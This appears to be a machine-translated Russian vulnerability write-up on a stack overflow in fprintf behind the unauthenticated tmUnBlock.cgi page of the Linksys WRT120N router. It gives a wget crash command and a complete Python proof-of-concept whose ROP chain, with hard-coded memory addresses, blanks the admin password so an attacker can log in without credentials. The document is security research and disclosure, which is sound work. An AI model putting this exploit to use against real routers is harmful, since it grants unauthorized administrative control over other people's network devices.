Переполнение Стека В Fprintf На Linksys Wrt120N

После того как мы получил расшифрованную прошивку И JTAG-доступ к устройству , пришло время проверить код на наличие интересных ошибок.

Как мы узнали ранее, WRT120N работает на RTOS. В целях безопасности административный WEB-интерфейс RTOS использует базовую аутентификацию HTTP:

Переполнение стека в fprintf на Linksys WRT120N

Большинство страниц требуют аутентификации, но есть несколько страниц, которые явно запрещают это:

Переполнение стека в fprintf на Linksys WRT120N



Переполнение стека в fprintf на Linksys WRT120N

Любой запрос к этим URL-адресам будет выполняться без аутентификации, поэтому это хорошее место для поиска ошибок.

Некоторые из этих страниц на самом деле не существуют, другие существуют, но ничего не делают (функции NULL).

Однако страница /cgi/tmUnBlock.cgi имеет своего рода обработчик, обрабатывающий пользовательские данные:

Переполнение стека в fprintf на Linksys WRT120N

Интересный фрагмент кода, который стоит рассмотреть:

  
  
   

fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"));

Хотя на первый взгляд выглядит прилично, обработка параметра TM_Block_URL POST-запрос уязвим из-за ошибки в реализации.

fprintf :

Переполнение стека в fprintf на Linksys WRT120N

Да, fprintf причины vsprintf с форматом и аргументами и поместите его в локальный буфер размером 256 байт.

Переполнение стека в fprintf на Linksys WRT120N

Уважать себя.

Не используйте спринтф.

Это означает, что параметр POST TM_Block_URL вызовет переполнение стека в fprintf , если он больше 246 байт (sizeof(buf) – strlen("Location: ")):

$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi



Переполнение стека в fprintf на Linksys WRT120N

Падение стека Давайте сделаем простой эксплойт, который перезапишет важные данные в памяти, например пароль администратора, который находится по адресу 0x81544AF0:

Переполнение стека в fprintf на Linksys WRT120N

Пароль администратора представляет собой стандартную строку, завершающуюся NULL, поэтому, если мы сможем записать в адрес всего один NULL-байт, то мы сможем войти в маршрутизатор с пустым паролем.

Нам необходимо убедиться, что система продолжает нормально функционировать после эксплойта.

Если вы посмотрите на конец функции fprintf , мы видим, что регистры $ra и $s0 восстанавливаются из стека, а это значит, что мы можем манипулировать этими регистрами при переполнении стека:

Переполнение стека в fprintf на Linksys WRT120N

Существует также отличный фрагмент кода по адресу 0x8031F634, который записывает 4 NULL-байта из нулевого регистра $ по адресу в регистре $s0.

Переполнение стека в fprintf на Linksys WRT120N

Если мы используем переполнение, чтобы fprintf вернулся к 0x8031F634 и перезаписал $s0 адресом пароля администратора (0x81544AF0), тогда этот код выполнит следующее:

  • Сброс пароля администратора
  • Вернется на обратный адрес из стека (а стек мы управляем)
  • Добавит 16 к указателю стека
Последний пункт является проблемой.

Нам нужно, чтобы система продолжала работать и не падала, но если мы просто вернемся к функции cgi_tmUnBlock Как fprintf и так оно и будет, мы получим смещение стека в 16 байт. Найти пригодный для использования гаджет MIPS ROP, который уменьшает указатель стека на 16 байт, может быть проблематично, поэтому мы пойдем другим путем.

Если вы посмотрите на адрес, где fprintf пришлось вернуться в cgi_tmUnblock , мы видим, что все, что он там делает, это восстанавливает $ra, $s1 и $s0 из стека, затем возвращается и добавляет 0x60 к указателю стека:

Переполнение стека в fprintf на Linksys WRT120N

Конечно, нет гаджетов, которые бы делали именно это, но есть хороший по адресу 0x803471B8, который очень похож:

Переполнение стека в fprintf на Linksys WRT120N

Этот гаджет добавляет в стек только 0x10, но это не проблема.

Сделаем дополнительные кадры стека, которые заставят гаджет ROP вернуться в себя 5 раз.

На пятой итерации исходные значения $ra, $s1 и $s0, которые мы передали в cgi_tmUnblock , будет восстановлен из стека, и наш ROP-гаджет вернется к вызывающей стороне cgi_tmUnblock :

Переполнение стека в fprintf на Linksys WRT120N

При правильных значениях в стеке и регистрах система продолжит работать как ни в чем не бывало.

Вот PoC ( скачать ):

import sys import urllib2 try: target = sys.argv[1] except IndexError: print "Usage: %s <target ip>" % sys.argv[0] sys.exit(1) url = target + '/cgi-bin/tmUnblock.cgi' if '://' not in url: url = 'http://' + url post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=" post_data += "B" * 246 # Filler post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory post_data += "\x80\x31\xF6\x34" # $ra post_data += "C" * 0x28 # Stack filler post_data += "D" * 4 # ROP 1 $s0, don't care post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2) post_data += "E" * 8 # Stack filler for i in range(0, 4): post_data += "F" * 4 # ROP 2 $s0, don't care post_data += "G" * 4 # ROP 2 $s1, don't care post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself) post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the # last stack frame where it needs to be 1 byte (to # account for the trailing "\n\n" and terminating # NULL byte) try: req = urllib2.Request(url, post_data) res = urllib2.urlopen(req) except urllib2.HTTPError as e: if e.code == 500: print "OK" else: print "Received unexpected server response:", str(e) except KeyboardInterrupt: pass



Переполнение стека в fprintf на Linksys WRT120N

Исполнение кода тоже возможно, но об этом в другой раз.

Теги: #переполнение стека #обратное проектирование #linksys wrt120n #информационная безопасность #обратное проектирование

Вместе с данным постом часто просматривают: